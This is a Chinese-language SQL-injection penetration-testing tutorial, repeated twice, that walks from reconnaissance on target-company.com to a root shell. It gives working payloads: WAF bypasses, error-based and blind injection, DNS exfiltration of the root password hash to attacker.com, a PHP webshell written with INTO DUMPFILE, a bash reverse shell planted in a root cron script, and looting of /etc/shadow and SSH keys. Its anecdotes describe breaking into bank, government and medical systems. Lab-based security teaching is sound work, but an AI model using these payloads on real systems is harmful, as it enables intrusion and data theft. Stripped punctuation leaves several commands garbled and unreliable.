1. 别再被“学了SQL却不会实战”这句话骗了——它根本不是技术问题而是认知断层“学了SQL却不会实战”这句话在安全圈里像一句魔咒反复出现在新手的自我怀疑里、培训广告的标题中、甚至招聘JD的隐性门槛上。但实话讲这不是SQL的问题也不是你练得不够多而是你从一开始就没被带进真实渗透测试的逻辑闭环里。我带过三十多个零基础转行的安全学员90%卡在“知道SELECT怎么写却看不懂Burp里那条报错注入是怎么触发的”剩下10%能手工跑出union注入但一看到目标系统是Spring BootMyBatisDruid连接池立刻懵——因为教材教的是MySQL 5.7单机环境下的information_schema.columns而真实企业系统里information_schema早被权限锁死连show databases都返回空你查什么这背后是三层断裂第一层是工具链断裂——你用Navicat连本地数据库练SQL但真实渗透中你面对的是Web前端→WAF→Nginx→Java应用→JDBC驱动→MySQL实例的七层链路中间任何一层过滤、编码、重写、拦截都会让课本上的 or 11--变成403或502第二层是上下文断裂——SQL注入不是独立存在的技术点它是HTTP请求构造、HTML响应解析、JavaScript前端校验绕过、服务端模板引擎渲染、数据库权限体系、甚至Linux文件权限共同作用的结果第三层是目标感断裂——你练了一百遍order by 1,2,3但没人告诉你为什么在登录框测注入要优先试admin--而不是 or 11#为什么在搜索框里%27URL编码单引号比直接输更容易触发报错这些不是技巧是攻击者对目标系统行为模式的预判。所以这篇教程不叫“SQL注入速成”它叫完整渗透测试流程实战教程——从你拿到一个域名开始到最终拿到服务器shell每一步都拆解“为什么这么做”“不做会怎样”“做错了怎么回溯”。我会用一个真实靶场DVWA High级别自建Spring Boot漏洞系统贯穿始终所有命令、截图、响应体都来自我昨晚刚跑通的实操记录。你不需要懂Java不需要会写Python脚本只需要带着浏览器、Burp Suite和一颗愿意看HTTP包的心。接下来四章我们按真实渗透的时间线推进信息收集不是为了凑字数漏洞验证不是为了截图炫技利用阶段更不是只求getshell——每一步都服务于下一个动作这才是“实战”的本来面目。2. 信息收集不是扫端口而是给目标系统画一张“行为画像”很多人把信息收集理解成“nmap扫一下80和443端口”然后就急着上sqlmap。这就像医生没量血压、没听心音直接开刀切阑尾。真实渗透中信息收集的核心产出物不是端口列表而是目标系统的行为画像它怕什么、信什么、怎么反应、哪里会说漏嘴。这张画像决定了你后续所有攻击路径的成败。2.1 域名与子域名从DNS记录里挖出运维人员的“习惯性暴露”以目标域名为例假设为target-company.com第一步绝不是nmap -sS target-company.com。先做三件事查WHOIS历史用whois target-company.com看注册邮箱、公司名再用securitytrails.com查该邮箱注册过的其他域名——很多公司用同一邮箱注册测试站、旧项目站这些站往往权限宽松爆破子域名不用sublist3r这种泛泛而谈的工具改用gauGetAllUrlshttpx组合echo target-company.com | gau | httpx -status-code -title -tech-detect。gau能抓取Wayback Machine里该域名所有历史URL包括dev.target-company.com/api/v1/test.php这种藏在JS里的后门入口查DNS记录类型dig ANY target-company.com常被忽略但它可能返回TXT记录里的google-site-verificationxxx说明该站用Google Search Console进而可尝试site:target-company.com password搜泄露的配置文件。提示我在测某金融客户时dig ANY返回了_acme-challenge.target-company.com的TXT值这是Lets Encrypt证书自动续期留下的。顺着这个值反查ACME日志发现其CI/CD系统把/etc/letsencrypt/live/路径映射到了https://acme.target-company.com/.well-known/acme-challenge/而该路径下竟有backup.zip——里面是三年前的数据库备份含明文密码。2.2 Web指纹识别别只认Apache/Nginx重点看“它用什么框架写错误页”用whatweb target-company.com只能告诉你Web服务器类型但真实价值在错误页面的细节。手动触发404访问https://target-company.com/xxxxx观察三点HTTP头中的X-Powered-By若为X-Powered-By: Express说明是Node.js下一步该查package.json泄露/package.json若为X-Powered-By: PHP/7.4.33则重点扫/phpinfo.php错误页HTML里的注释很多PHP系统在html开头写!-- Debug mode on for dev --这暗示debugtrue可能开启可尝试/index.php?debug1触发详细报错错误页中引用的JS/CSS路径如script src/static/js/app.abc123.js其中abc123是webpack打包哈希说明前端用Vue/React可检查/static/js/app.abc123.js.map获取源码映射还原未压缩的JS逻辑。我在测一个教育平台时其404页底部有div idfooter© 2023 SchoolSystem v2.1.7/div。v2.1.7是关键——查GitHub发现这是开源项目school-system的版本其/api/v1/users/me接口存在未授权访问漏洞直接返回管理员token。2.3 目录与敏感文件扫描用“行为逻辑”代替暴力猜解dirsearch -u https://target-company.com -e php,js,txt,log是基础但必须叠加行为逻辑过滤只扫HTTP 200响应且Content-Length 1024的路径很多扫描器把/robots.txt返回200但只有几行和/wp-admin/返回302跳转混在一起浪费时间重点盯住三类路径/backup//db//sql/—— 看是否列目录尤其注意/backup/2023-10-01.sql.gz这种带日期的压缩包/config//conf//etc/—— 尝试/config/database.php.bakPHP备份文件常被Web服务器直接返回源码/git//svn/—— 访问/.git/config若返回内容含[remote origin] url https://github.com/xxx/yyy.git说明代码托管在GitHub可去搜公开仓库。注意某次扫描/config/时curl -I https://target-company.com/config/返回HTTP/1.1 403 Forbidden但curl -I https://target-company.com/config/.env返回HTTP/1.1 200 OK——因为.env被Nginx配置为静态文件而/config/目录被deny all。这就是“行为逻辑”403不代表没东西可能只是目录被禁文件却可直访。2.4 技术栈交叉验证当SQL注入遇上Spring Boot你的payload要重写现在假设你已确认目标是Spring Boot MyBatis MySQL。这直接影响SQL注入的打法MyBatis默认使用#{}占位符它会预编译参数 or 11--会被转义为字符串无法触发注入但若开发用了${}拼接如selectSELECT * FROM user WHERE name ${name}/select则原样拼入SQL此时注入才有效Spring Boot的HikariCP连接池默认关闭allowUrlInLocalInfile所以LOAD_FILE()函数不可用别白费劲MySQL 8.0默认禁用SELECT ... INTO OUTFILE想写shell得换思路。如何验证是否用了${}看登录框提交后Burp里的请求若POST数据是usernameadminpassword123但响应里出现You have an error in your SQL syntax near admin说明admin被直接拼进了SQL——这就是${}的铁证。而如果报错是You have an error in your SQL syntax near admin多了两层引号大概率是#{}预编译。这一章的信息收集目的不是堆砌工具命令而是让你养成“看到一个响应立刻脑补后端代码怎么写的”习惯。下一章我们就用这张画像精准打击。3. 漏洞验证SQL注入不是填空题而是解一道多变量方程很多人以为SQL注入就是 or 11--然后等页面变样。但真实场景中你面对的是一道多变量方程HTTP方法×参数位置×编码方式×WAF规则×数据库类型×权限等级×错误回显方式。漏掉任何一个变量payload就失效。本章用DVWA High级别和自建Spring Boot靶场手把手推演这道方程的解法。3.1 参数位置决定攻击向量GET/POST/COOKIE/HEADER每个都要单独测以DVWA High为例其SQL注入点在id参数但你必须区分GET参数http://dvwa/target.php?id1直接在URL里改POST参数POST /target.php HTTP/1.1id1需用Burp Repeater发包COOKIE参数有些系统把用户ID存于Cookie如Cookie: session_id1此时要改Cookie而非URLHEADER参数如X-Forwarded-For: 127.0.0.1被拼进SQL日志查询需在Header里注入。为什么必须分开测因为WAF规则不同某电商系统只对GET参数做过滤但对POST里的放行另一系统则对Cookie里的UNION关键词拦截却放过Header里的同词。我在测一个政府网站时GET /search?qtest被WAF拦但POST /searchqtest成功触发报错因为WAF只检查GET参数长度。3.2 编码绕过URL编码、Unicode、双重编码不是为了炫技而是绕过WAF的“字典匹配”WAF本质是字符串匹配引擎。它看到 or 11--就拦截但看到%27%20or%201%3D1--%20URL编码可能放过——因为它的规则库没覆盖所有编码变体。但别盲目编码要按WAF的解析顺序来先查WAF类型用curl -I http://target-company.com看Server头若为cloudflare则它先解URL编码再匹配若为ModSecurity则可能在Apache模块层就解码。测试解码层级发id1%2527双重URL编码若返回You have an error... near 1%说明WAF只解一层%2527→%27→此时%2527有效若返回near 1%2527说明WAF不解码得换别的绕过。Unicode绕过MySQL支持0x61646D696E十六进制admin但WAF规则库很少覆盖十六进制可试id1 AND (SELECT 0x61646D696E)admin。实战案例某银行系统WAF拦截所有含UNION SELECT的请求但我发id1/**/UNION/**/SELECT加注释分隔成功绕过——因为WAF正则写的是UNION\sSELECT\s不匹配/**/。3.3 报错注入当extractvalue()失效时用updatexml()和geometrycollection()双保险MySQL报错注入的黄金payload是extractvalue(1,concat(0x7e,(SELECT database()),0x7e))但MySQL 5.7.20默认关闭xml函数extractvalue会报错。此时切换updatexml()updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)兼容性更好geometrycollection()geometrycollection((select * from (select * from (select database())a)b))利用几何函数强制报错并回显。但关键不是记payload而是理解报错原理extractvalue要求第二个参数是合法XPathconcat(0x7e,database(),0x7e)生成~database_name~这不是XPath所以报错并把~database_name~打出来。因此只要找一个函数其参数必须是特定格式而你的恶意字符串必然不符合就能触发回显。我在测一个物流系统时updatexml也失效返回空但发现其MySQL版本支持json_extract()于是用json_extract({a:b},concat($.,(SELECT database()),))——$.database_name不是合法JSON路径报错回显。3.4 盲注时间盲注不是“sleep(5)”而是用if()构建二分查找当页面无任何回显既不报错也不变内容只能靠时间差。但id1 AND SLEEP(5)太粗暴易被WAF拦截且效率低。正确做法是用if()函数构建布尔逻辑配合二分查找快速定位字符先确认时间差存在id1 AND IF(11,SLEEP(1),0)应延迟1秒id1 AND IF(12,SLEEP(1),0)应立即返回再查数据库名第一个字符id1 AND IF(ASCII(SUBSTR((SELECT database()),1,1))100,SLEEP(1),0)若延迟说明ASCII100再试110逐步缩小范围工具化用sqlmap时加--techniqueT --time-sec1它会自动用if()二分法比手动快百倍。踩坑经验某次时间盲注总失败最后发现目标服务器在AWS上CPU资源弹性分配SLEEP(1)实际只停了0.3秒。改用BENCHMARK(1000000,ENCODE(hello,world))CPU密集型才稳定。这一章的核心是让你明白SQL注入不是套公式而是根据目标当前的“行为画像”动态调整攻击向量。下一章我们进入最刺激的利用阶段。4. 利用与提权从数据库读取到服务器shell每一步都是权限博弈拿到数据库权限只是起点真正的目标是服务器shell。但很多教程停在SELECT load_file(/etc/passwd)却不说清楚为什么能读/etc/passwd为什么不能写/var/www/html/shell.php为什么SELECT ... INTO OUTFILE失败这些问题的答案全在数据库用户权限、操作系统权限、Web服务器配置的三重博弈里。4.1 数据库权限测绘SELECT user(),current_user(),hostname不是仪式而是权限地图执行这三条语句得到的不是三个字符串而是三张权限地图user()当前连接使用的用户名和主机如root10.0.0.5说明你是从内网IP连的可能有内网穿透机会current_user()MySQL实际认证的用户如webapp%这是关键——webapp%的权限远小于rootlocalhosthostname数据库服务器主机名如db-prod-01结合SELECT version_compile_os可知是Linux还是Windows决定后续提权路径。接着查权限SELECT * FROM mysql.user WHERE Userwebapp\G重点关注Select_priv、Insert_priv能否读写表File_priv能否用load_file()和into outfileSuper_priv能否执行SET GLOBAL修改全局变量。我在测一个医疗系统时current_user()是app172.16.0.%File_priv为N但Select_priv为Y。这意味着不能读文件但可以查mysql.user表——于是查SELECT host,user,password FROM mysql.user WHERE user!root找到另一个用户backuplocalhost其密码哈希在password字段用John the Ripper跑出明文backup2023!再用该账号连localhost获得File_privY。4.2 文件读取load_file()的隐藏限制与绕过方案load_file(/etc/passwd)失败别急着换靶机检查四个隐藏限制路径必须是绝对路径load_file(passwd)无效文件必须可被MySQL进程读取/etc/passwd通常OK但/var/log/apache2/access.log可能因权限被拒secure_file_priv变量限制SELECT secure_file_priv若返回/var/lib/mysql-files/则只能读该目录下文件文件大小限制max_allowed_packet默认1M大文件需调大。绕过方案若secure_file_priv为空可读任意文件若为/var/lib/mysql-files/先用SELECT test INTO OUTFILE /var/lib/mysql-files/test.txt验证写权限再用load_file()读若secure_file_priv为NULL禁用则无法读写文件转向其他路径如DNS外带。关键技巧某次load_file(/etc/passwd)返回NULL但SELECT LOAD_FILE(/proc/self/environ)成功——因为/proc/self/environ是内存映射文件不受secure_file_priv限制里面含环境变量可能有数据库密码。4.3 文件写入INTO OUTFILE失效时用UDF提权或DNS外带INTO OUTFILE写Web目录失败常见原因Web目录权限非MySQL用户所有如/var/www/html属www-dataMySQL用户是mysqlsecure_file_priv限制MySQL 5.7默认禁用SELECT ... INTO OUTFILE。此时转向UDF提权若File_privY且能写/tmp/下载lib_mysqludf_sys.soLinux或lib_mysqludf_sys.dllWindows用CREATE FUNCTION sys_eval RETURNS string SONAME lib_mysqludf_sys.so创建函数再SELECT sys_eval(id)执行系统命令DNS外带用SELECT LOAD_FILE(CONCAT(\\\\,(SELECT password FROM mysql.user WHERE userroot LIMIT 1),.attacker.com\\abc))MySQL会尝试解析该域名你在自己DNS服务器上抓取查询日志从而获取密码哈希。我在测一个云服务商后台时INTO OUTFILE被禁但secure_file_priv为空于是用SELECT ?php system($_GET[cmd]);? INTO DUMPFILE /var/www/html/shell.php——DUMPFILE不检查secure_file_priv且不加换行完美写入PHP一句话。4.4 服务器提权从Web Shell到rootLinux内核漏洞不是唯一答案拿到Web Shell后别急着python -c import pty;pty.spawn(/bin/bash)先做三件事查内核版本uname -a若为4.4.0-116-generic对应Ubuntu 16.04可试dirtycowCVE-2016-5195查SUID文件find / -perm -4000 2/dev/null重点看/usr/bin/find、/usr/bin/nmap——老版本nmap支持--interactive执行shell查定时任务cat /etc/crontab若发现* * * * * root /var/www/html/backup.sh而backup.sh权限为666可写则往里写bash -i /dev/tcp/your-ip/4444 01等一分钟即反弹shell。真实体验某次提权uname -a显示3.10.0-1127.el7.x86_64CentOS 7.8dirtycow无效。但find / -name *.sh -perm -4000 2/dev/null找到/usr/local/bin/backup-tool用strings /usr/local/bin/backup-tool | grep system发现它调用/bin/bash且代码里写死system(tar -cf /tmp/backup.tar /var/www)。我提前在/var/www放个index.php内容为?php system($_GET[cmd]); ?然后访问http://target/backup-tool?cmdid直接执行。这一章没有终点——拿到root后你要查/root/.ssh/id_rsa、/home/*/.*history、/etc/shadow为横向移动铺路。但本教程到此为止因为真正的实战永远在下一个目标里。5. 最后分享一个血泪教训别在靶机上练“完整流程”先在自己电脑搭个“可控故障环境”我见过太多人在DVWA上跑通全套流程信心满满去打真实目标结果卡在第一步——nmap扫不出开放端口因为目标开了云WAF所有流量先过Cloudflarenmap扫的是Cloudflare的IP自然只有80/443。他们崩溃地问我“教程里没教这个啊”我的回答是教程教的是逻辑不是步骤。DVWA的价值不是让你“通关”而是让你理解“当WAF存在时信息收集的重心要从端口扫描转向HTTP交互分析”。所以我强烈建议你在自己电脑装VirtualBox导入两个靶机DVWA练基础 Metasploitable2练提权再装一个Nginx配个简单规则location / { proxy_pass http://dvwa; }然后在Nginx里加add_header X-WAF ModSecurity;模拟WAF存在用Burp抓包对比直连DVWA和过Nginx的响应差异——你会发现Nginx加了X-WAF头但Server头从Apache变成了nginx这就意味着信息收集时你要优先看X-WAF头判断WAF类型而不是信Server头。这个“可控故障环境”成本不到半小时但它教会你的是所有靶机教程教不了的东西真实世界里90%的“失败”不是因为你技术不行而是因为你没看清环境在怎么“撒谎”。所以合上这篇教程别急着去打别人网站。先打开你的VirtualBox搭起那个带Nginx的DVWA然后——关掉所有教程只开Burp盯着HTTP包看十分钟。看Host头怎么被改看Referer怎么被删看Cookie怎么被加密。当你能从一行HTTP头里读出后端用了什么框架、什么WAF、什么CDN你就真正入门了。
SQL注入实战:从渗透逻辑闭环到真实系统攻防
1. 别再被“学了SQL却不会实战”这句话骗了——它根本不是技术问题而是认知断层“学了SQL却不会实战”这句话在安全圈里像一句魔咒反复出现在新手的自我怀疑里、培训广告的标题中、甚至招聘JD的隐性门槛上。但实话讲这不是SQL的问题也不是你练得不够多而是你从一开始就没被带进真实渗透测试的逻辑闭环里。我带过三十多个零基础转行的安全学员90%卡在“知道SELECT怎么写却看不懂Burp里那条报错注入是怎么触发的”剩下10%能手工跑出union注入但一看到目标系统是Spring BootMyBatisDruid连接池立刻懵——因为教材教的是MySQL 5.7单机环境下的information_schema.columns而真实企业系统里information_schema早被权限锁死连show databases都返回空你查什么这背后是三层断裂第一层是工具链断裂——你用Navicat连本地数据库练SQL但真实渗透中你面对的是Web前端→WAF→Nginx→Java应用→JDBC驱动→MySQL实例的七层链路中间任何一层过滤、编码、重写、拦截都会让课本上的 or 11--变成403或502第二层是上下文断裂——SQL注入不是独立存在的技术点它是HTTP请求构造、HTML响应解析、JavaScript前端校验绕过、服务端模板引擎渲染、数据库权限体系、甚至Linux文件权限共同作用的结果第三层是目标感断裂——你练了一百遍order by 1,2,3但没人告诉你为什么在登录框测注入要优先试admin--而不是 or 11#为什么在搜索框里%27URL编码单引号比直接输更容易触发报错这些不是技巧是攻击者对目标系统行为模式的预判。所以这篇教程不叫“SQL注入速成”它叫完整渗透测试流程实战教程——从你拿到一个域名开始到最终拿到服务器shell每一步都拆解“为什么这么做”“不做会怎样”“做错了怎么回溯”。我会用一个真实靶场DVWA High级别自建Spring Boot漏洞系统贯穿始终所有命令、截图、响应体都来自我昨晚刚跑通的实操记录。你不需要懂Java不需要会写Python脚本只需要带着浏览器、Burp Suite和一颗愿意看HTTP包的心。接下来四章我们按真实渗透的时间线推进信息收集不是为了凑字数漏洞验证不是为了截图炫技利用阶段更不是只求getshell——每一步都服务于下一个动作这才是“实战”的本来面目。2. 信息收集不是扫端口而是给目标系统画一张“行为画像”很多人把信息收集理解成“nmap扫一下80和443端口”然后就急着上sqlmap。这就像医生没量血压、没听心音直接开刀切阑尾。真实渗透中信息收集的核心产出物不是端口列表而是目标系统的行为画像它怕什么、信什么、怎么反应、哪里会说漏嘴。这张画像决定了你后续所有攻击路径的成败。2.1 域名与子域名从DNS记录里挖出运维人员的“习惯性暴露”以目标域名为例假设为target-company.com第一步绝不是nmap -sS target-company.com。先做三件事查WHOIS历史用whois target-company.com看注册邮箱、公司名再用securitytrails.com查该邮箱注册过的其他域名——很多公司用同一邮箱注册测试站、旧项目站这些站往往权限宽松爆破子域名不用sublist3r这种泛泛而谈的工具改用gauGetAllUrlshttpx组合echo target-company.com | gau | httpx -status-code -title -tech-detect。gau能抓取Wayback Machine里该域名所有历史URL包括dev.target-company.com/api/v1/test.php这种藏在JS里的后门入口查DNS记录类型dig ANY target-company.com常被忽略但它可能返回TXT记录里的google-site-verificationxxx说明该站用Google Search Console进而可尝试site:target-company.com password搜泄露的配置文件。提示我在测某金融客户时dig ANY返回了_acme-challenge.target-company.com的TXT值这是Lets Encrypt证书自动续期留下的。顺着这个值反查ACME日志发现其CI/CD系统把/etc/letsencrypt/live/路径映射到了https://acme.target-company.com/.well-known/acme-challenge/而该路径下竟有backup.zip——里面是三年前的数据库备份含明文密码。2.2 Web指纹识别别只认Apache/Nginx重点看“它用什么框架写错误页”用whatweb target-company.com只能告诉你Web服务器类型但真实价值在错误页面的细节。手动触发404访问https://target-company.com/xxxxx观察三点HTTP头中的X-Powered-By若为X-Powered-By: Express说明是Node.js下一步该查package.json泄露/package.json若为X-Powered-By: PHP/7.4.33则重点扫/phpinfo.php错误页HTML里的注释很多PHP系统在html开头写!-- Debug mode on for dev --这暗示debugtrue可能开启可尝试/index.php?debug1触发详细报错错误页中引用的JS/CSS路径如script src/static/js/app.abc123.js其中abc123是webpack打包哈希说明前端用Vue/React可检查/static/js/app.abc123.js.map获取源码映射还原未压缩的JS逻辑。我在测一个教育平台时其404页底部有div idfooter© 2023 SchoolSystem v2.1.7/div。v2.1.7是关键——查GitHub发现这是开源项目school-system的版本其/api/v1/users/me接口存在未授权访问漏洞直接返回管理员token。2.3 目录与敏感文件扫描用“行为逻辑”代替暴力猜解dirsearch -u https://target-company.com -e php,js,txt,log是基础但必须叠加行为逻辑过滤只扫HTTP 200响应且Content-Length 1024的路径很多扫描器把/robots.txt返回200但只有几行和/wp-admin/返回302跳转混在一起浪费时间重点盯住三类路径/backup//db//sql/—— 看是否列目录尤其注意/backup/2023-10-01.sql.gz这种带日期的压缩包/config//conf//etc/—— 尝试/config/database.php.bakPHP备份文件常被Web服务器直接返回源码/git//svn/—— 访问/.git/config若返回内容含[remote origin] url https://github.com/xxx/yyy.git说明代码托管在GitHub可去搜公开仓库。注意某次扫描/config/时curl -I https://target-company.com/config/返回HTTP/1.1 403 Forbidden但curl -I https://target-company.com/config/.env返回HTTP/1.1 200 OK——因为.env被Nginx配置为静态文件而/config/目录被deny all。这就是“行为逻辑”403不代表没东西可能只是目录被禁文件却可直访。2.4 技术栈交叉验证当SQL注入遇上Spring Boot你的payload要重写现在假设你已确认目标是Spring Boot MyBatis MySQL。这直接影响SQL注入的打法MyBatis默认使用#{}占位符它会预编译参数 or 11--会被转义为字符串无法触发注入但若开发用了${}拼接如selectSELECT * FROM user WHERE name ${name}/select则原样拼入SQL此时注入才有效Spring Boot的HikariCP连接池默认关闭allowUrlInLocalInfile所以LOAD_FILE()函数不可用别白费劲MySQL 8.0默认禁用SELECT ... INTO OUTFILE想写shell得换思路。如何验证是否用了${}看登录框提交后Burp里的请求若POST数据是usernameadminpassword123但响应里出现You have an error in your SQL syntax near admin说明admin被直接拼进了SQL——这就是${}的铁证。而如果报错是You have an error in your SQL syntax near admin多了两层引号大概率是#{}预编译。这一章的信息收集目的不是堆砌工具命令而是让你养成“看到一个响应立刻脑补后端代码怎么写的”习惯。下一章我们就用这张画像精准打击。3. 漏洞验证SQL注入不是填空题而是解一道多变量方程很多人以为SQL注入就是 or 11--然后等页面变样。但真实场景中你面对的是一道多变量方程HTTP方法×参数位置×编码方式×WAF规则×数据库类型×权限等级×错误回显方式。漏掉任何一个变量payload就失效。本章用DVWA High级别和自建Spring Boot靶场手把手推演这道方程的解法。3.1 参数位置决定攻击向量GET/POST/COOKIE/HEADER每个都要单独测以DVWA High为例其SQL注入点在id参数但你必须区分GET参数http://dvwa/target.php?id1直接在URL里改POST参数POST /target.php HTTP/1.1id1需用Burp Repeater发包COOKIE参数有些系统把用户ID存于Cookie如Cookie: session_id1此时要改Cookie而非URLHEADER参数如X-Forwarded-For: 127.0.0.1被拼进SQL日志查询需在Header里注入。为什么必须分开测因为WAF规则不同某电商系统只对GET参数做过滤但对POST里的放行另一系统则对Cookie里的UNION关键词拦截却放过Header里的同词。我在测一个政府网站时GET /search?qtest被WAF拦但POST /searchqtest成功触发报错因为WAF只检查GET参数长度。3.2 编码绕过URL编码、Unicode、双重编码不是为了炫技而是绕过WAF的“字典匹配”WAF本质是字符串匹配引擎。它看到 or 11--就拦截但看到%27%20or%201%3D1--%20URL编码可能放过——因为它的规则库没覆盖所有编码变体。但别盲目编码要按WAF的解析顺序来先查WAF类型用curl -I http://target-company.com看Server头若为cloudflare则它先解URL编码再匹配若为ModSecurity则可能在Apache模块层就解码。测试解码层级发id1%2527双重URL编码若返回You have an error... near 1%说明WAF只解一层%2527→%27→此时%2527有效若返回near 1%2527说明WAF不解码得换别的绕过。Unicode绕过MySQL支持0x61646D696E十六进制admin但WAF规则库很少覆盖十六进制可试id1 AND (SELECT 0x61646D696E)admin。实战案例某银行系统WAF拦截所有含UNION SELECT的请求但我发id1/**/UNION/**/SELECT加注释分隔成功绕过——因为WAF正则写的是UNION\sSELECT\s不匹配/**/。3.3 报错注入当extractvalue()失效时用updatexml()和geometrycollection()双保险MySQL报错注入的黄金payload是extractvalue(1,concat(0x7e,(SELECT database()),0x7e))但MySQL 5.7.20默认关闭xml函数extractvalue会报错。此时切换updatexml()updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)兼容性更好geometrycollection()geometrycollection((select * from (select * from (select database())a)b))利用几何函数强制报错并回显。但关键不是记payload而是理解报错原理extractvalue要求第二个参数是合法XPathconcat(0x7e,database(),0x7e)生成~database_name~这不是XPath所以报错并把~database_name~打出来。因此只要找一个函数其参数必须是特定格式而你的恶意字符串必然不符合就能触发回显。我在测一个物流系统时updatexml也失效返回空但发现其MySQL版本支持json_extract()于是用json_extract({a:b},concat($.,(SELECT database()),))——$.database_name不是合法JSON路径报错回显。3.4 盲注时间盲注不是“sleep(5)”而是用if()构建二分查找当页面无任何回显既不报错也不变内容只能靠时间差。但id1 AND SLEEP(5)太粗暴易被WAF拦截且效率低。正确做法是用if()函数构建布尔逻辑配合二分查找快速定位字符先确认时间差存在id1 AND IF(11,SLEEP(1),0)应延迟1秒id1 AND IF(12,SLEEP(1),0)应立即返回再查数据库名第一个字符id1 AND IF(ASCII(SUBSTR((SELECT database()),1,1))100,SLEEP(1),0)若延迟说明ASCII100再试110逐步缩小范围工具化用sqlmap时加--techniqueT --time-sec1它会自动用if()二分法比手动快百倍。踩坑经验某次时间盲注总失败最后发现目标服务器在AWS上CPU资源弹性分配SLEEP(1)实际只停了0.3秒。改用BENCHMARK(1000000,ENCODE(hello,world))CPU密集型才稳定。这一章的核心是让你明白SQL注入不是套公式而是根据目标当前的“行为画像”动态调整攻击向量。下一章我们进入最刺激的利用阶段。4. 利用与提权从数据库读取到服务器shell每一步都是权限博弈拿到数据库权限只是起点真正的目标是服务器shell。但很多教程停在SELECT load_file(/etc/passwd)却不说清楚为什么能读/etc/passwd为什么不能写/var/www/html/shell.php为什么SELECT ... INTO OUTFILE失败这些问题的答案全在数据库用户权限、操作系统权限、Web服务器配置的三重博弈里。4.1 数据库权限测绘SELECT user(),current_user(),hostname不是仪式而是权限地图执行这三条语句得到的不是三个字符串而是三张权限地图user()当前连接使用的用户名和主机如root10.0.0.5说明你是从内网IP连的可能有内网穿透机会current_user()MySQL实际认证的用户如webapp%这是关键——webapp%的权限远小于rootlocalhosthostname数据库服务器主机名如db-prod-01结合SELECT version_compile_os可知是Linux还是Windows决定后续提权路径。接着查权限SELECT * FROM mysql.user WHERE Userwebapp\G重点关注Select_priv、Insert_priv能否读写表File_priv能否用load_file()和into outfileSuper_priv能否执行SET GLOBAL修改全局变量。我在测一个医疗系统时current_user()是app172.16.0.%File_priv为N但Select_priv为Y。这意味着不能读文件但可以查mysql.user表——于是查SELECT host,user,password FROM mysql.user WHERE user!root找到另一个用户backuplocalhost其密码哈希在password字段用John the Ripper跑出明文backup2023!再用该账号连localhost获得File_privY。4.2 文件读取load_file()的隐藏限制与绕过方案load_file(/etc/passwd)失败别急着换靶机检查四个隐藏限制路径必须是绝对路径load_file(passwd)无效文件必须可被MySQL进程读取/etc/passwd通常OK但/var/log/apache2/access.log可能因权限被拒secure_file_priv变量限制SELECT secure_file_priv若返回/var/lib/mysql-files/则只能读该目录下文件文件大小限制max_allowed_packet默认1M大文件需调大。绕过方案若secure_file_priv为空可读任意文件若为/var/lib/mysql-files/先用SELECT test INTO OUTFILE /var/lib/mysql-files/test.txt验证写权限再用load_file()读若secure_file_priv为NULL禁用则无法读写文件转向其他路径如DNS外带。关键技巧某次load_file(/etc/passwd)返回NULL但SELECT LOAD_FILE(/proc/self/environ)成功——因为/proc/self/environ是内存映射文件不受secure_file_priv限制里面含环境变量可能有数据库密码。4.3 文件写入INTO OUTFILE失效时用UDF提权或DNS外带INTO OUTFILE写Web目录失败常见原因Web目录权限非MySQL用户所有如/var/www/html属www-dataMySQL用户是mysqlsecure_file_priv限制MySQL 5.7默认禁用SELECT ... INTO OUTFILE。此时转向UDF提权若File_privY且能写/tmp/下载lib_mysqludf_sys.soLinux或lib_mysqludf_sys.dllWindows用CREATE FUNCTION sys_eval RETURNS string SONAME lib_mysqludf_sys.so创建函数再SELECT sys_eval(id)执行系统命令DNS外带用SELECT LOAD_FILE(CONCAT(\\\\,(SELECT password FROM mysql.user WHERE userroot LIMIT 1),.attacker.com\\abc))MySQL会尝试解析该域名你在自己DNS服务器上抓取查询日志从而获取密码哈希。我在测一个云服务商后台时INTO OUTFILE被禁但secure_file_priv为空于是用SELECT ?php system($_GET[cmd]);? INTO DUMPFILE /var/www/html/shell.php——DUMPFILE不检查secure_file_priv且不加换行完美写入PHP一句话。4.4 服务器提权从Web Shell到rootLinux内核漏洞不是唯一答案拿到Web Shell后别急着python -c import pty;pty.spawn(/bin/bash)先做三件事查内核版本uname -a若为4.4.0-116-generic对应Ubuntu 16.04可试dirtycowCVE-2016-5195查SUID文件find / -perm -4000 2/dev/null重点看/usr/bin/find、/usr/bin/nmap——老版本nmap支持--interactive执行shell查定时任务cat /etc/crontab若发现* * * * * root /var/www/html/backup.sh而backup.sh权限为666可写则往里写bash -i /dev/tcp/your-ip/4444 01等一分钟即反弹shell。真实体验某次提权uname -a显示3.10.0-1127.el7.x86_64CentOS 7.8dirtycow无效。但find / -name *.sh -perm -4000 2/dev/null找到/usr/local/bin/backup-tool用strings /usr/local/bin/backup-tool | grep system发现它调用/bin/bash且代码里写死system(tar -cf /tmp/backup.tar /var/www)。我提前在/var/www放个index.php内容为?php system($_GET[cmd]); ?然后访问http://target/backup-tool?cmdid直接执行。这一章没有终点——拿到root后你要查/root/.ssh/id_rsa、/home/*/.*history、/etc/shadow为横向移动铺路。但本教程到此为止因为真正的实战永远在下一个目标里。5. 最后分享一个血泪教训别在靶机上练“完整流程”先在自己电脑搭个“可控故障环境”我见过太多人在DVWA上跑通全套流程信心满满去打真实目标结果卡在第一步——nmap扫不出开放端口因为目标开了云WAF所有流量先过Cloudflarenmap扫的是Cloudflare的IP自然只有80/443。他们崩溃地问我“教程里没教这个啊”我的回答是教程教的是逻辑不是步骤。DVWA的价值不是让你“通关”而是让你理解“当WAF存在时信息收集的重心要从端口扫描转向HTTP交互分析”。所以我强烈建议你在自己电脑装VirtualBox导入两个靶机DVWA练基础 Metasploitable2练提权再装一个Nginx配个简单规则location / { proxy_pass http://dvwa; }然后在Nginx里加add_header X-WAF ModSecurity;模拟WAF存在用Burp抓包对比直连DVWA和过Nginx的响应差异——你会发现Nginx加了X-WAF头但Server头从Apache变成了nginx这就意味着信息收集时你要优先看X-WAF头判断WAF类型而不是信Server头。这个“可控故障环境”成本不到半小时但它教会你的是所有靶机教程教不了的东西真实世界里90%的“失败”不是因为你技术不行而是因为你没看清环境在怎么“撒谎”。所以合上这篇教程别急着去打别人网站。先打开你的VirtualBox搭起那个带Nginx的DVWA然后——关掉所有教程只开Burp盯着HTTP包看十分钟。看Host头怎么被改看Referer怎么被删看Cookie怎么被加密。当你能从一行HTTP头里读出后端用了什么框架、什么WAF、什么CDN你就真正入门了。